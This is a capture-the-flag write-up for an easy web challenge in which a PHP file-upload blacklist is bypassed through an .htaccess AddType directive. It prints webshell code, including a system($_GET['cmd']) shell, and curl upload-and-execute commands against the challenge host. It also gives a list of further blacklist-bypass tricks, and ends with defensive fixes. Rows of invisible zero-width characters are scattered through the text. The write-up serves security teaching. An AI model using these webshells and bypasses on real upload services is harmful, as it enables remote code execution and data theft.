← Back to Writeups
CUSTOMEasyWeb

Файлообменник (File Exchange)

XESXOR9/10/20263 min read
#web#custom#easy#custom-php-handler-extension-a#file-upload-filter-bypass-via-#.htaccess-misconfiguration-ana#linux

Файлообменник (File Exchange)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Custom PHP handler extension abuse, File upload filter bypass via custom extension, .htaccess misconfiguration analysis

Summary

Task: File upload service with extension blacklist and .htaccess available. Solution: Discovered AddType directive in .htaccess that processes .x-httpd-php as PHP; uploaded webshell with this extension to bypass blacklist and achieve RCE.

Файлообменник (File Exchange) — hackerlab.pro

Description

Я запустил облачное хранилище файлов. Пока доступна только бета-версия, но без смс и регистрации :) (I launched a cloud file storage. Only beta version is available, but without SMS and registration :))

URL: http://62.173.140.174:16034

Files: task.zip (source code)

Analysis

File Structure

/var/www/
├── fl4g.txt          # Flag file
└── html/
    ├── index.php     # Main page
    ├── upload.php    # Upload handler
    ├── .htaccess     # Apache configuration
    └── uploads/      # Upload directory

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

upload.php — Blacklist Filtering

php
<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

// Blacklist of dangerous extensions
$blocked_extensions = array("php", "php5", "php4", "php3", "php2", "phtml", "phar");

if (in_array($imageFileType, $blocked_extensions)) {
    echo "Sorry, PHP files are not allowed.";
    $uploadOk = 0;
}

if ($uploadOk == 1) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". htmlspecialchars(basename($_FILES["fileToUpload"]["name"])). " has been uploaded.";
    }
}
?>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Blocked extensions:

  • php, php5, php4, php3, php2, phtml, phar

.htaccess — Critical Misconfiguration

apache
AddType application/x-httpd-php .x-httpd-php

Vulnerability: This directive tells Apache to process files with the .x-httpd-php extension as PHP scripts!

Attack Vector

  1. The .x-httpd-php extension is not in the blacklist
  2. Apache will execute files with this extension as PHP
  3. We can upload a PHP webshell with a "safe" extension

Solution

Step 1: Create PHP Shell

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

php
<?php echo file_get_contents("/var/www/fl4g.txt"); ?>

Save as shell.x-httpd-php

Step 2: Upload the File

bash
curl -X POST "http://62.173.140.174:16034/upload.php" \
  -F "fileToUpload=@shell.x-httpd-php"

Response:

The file shell.x-httpd-php has been uploaded.

Step 3: Execute the Shell

bash
curl "http://62.173.140.174:16034/uploads/shell.x-httpd-php"

Alternative Shell for RCE

php
<?php system($_GET['cmd']); ?>
bash
# Upload
curl -X POST "http://62.173.140.174:16034/upload.php" \
  -F "fileToUpload=@rce.x-httpd-php"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Execute commands
curl "http://62.173.140.174:16034/uploads/rce.x-httpd-php?cmd=cat%20/var/www/fl4g.txt"
curl "http://62.173.140.174:16034/uploads/rce.x-httpd-php?cmd=ls%20-la%20/"
curl "http://62.173.140.174:16034/uploads/rce.x-httpd-php?cmd=id"

Other Blacklist Bypasses

If .x-httpd-php doesn't work, try:

  • .php7, .php8 — newer PHP versions
  • .inc — often processed as PHP
  • .module, .install — Drupal-specific
  • .pht — alternative PHP extension
  • Double extensions: shell.php.jpg (if only the last extension is checked)
  • Null byte: shell.php%00.jpg (outdated versions) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

Proper Implementation

php
// Whitelist instead of blacklist
$allowed_extensions = array("jpg", "jpeg", "png", "gif", "pdf");

if (!in_array($imageFileType, $allowed_extensions)) {
    die("Only images and PDFs are allowed.");
}

// Additionally: check MIME type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES["fileToUpload"]["tmp_name"]);
$allowed_mimes = array("image/jpeg", "image/png", "image/gif", "application/pdf");

if (!in_array($mime, $allowed_mimes)) {
    die("Invalid file type.");
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

// Rename the file
$new_name = uniqid() . "." . $imageFileType;

Secure .htaccess

apache
# Disable PHP execution in uploads
<Directory /var/www/html/uploads>
    php_flag engine off
    RemoveHandler .php .phtml .php3 .php4 .php5 .php7 .phps .phar
    RemoveType .php .phtml .php3 .php4 .php5 .php7 .phps .phar
</Directory>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍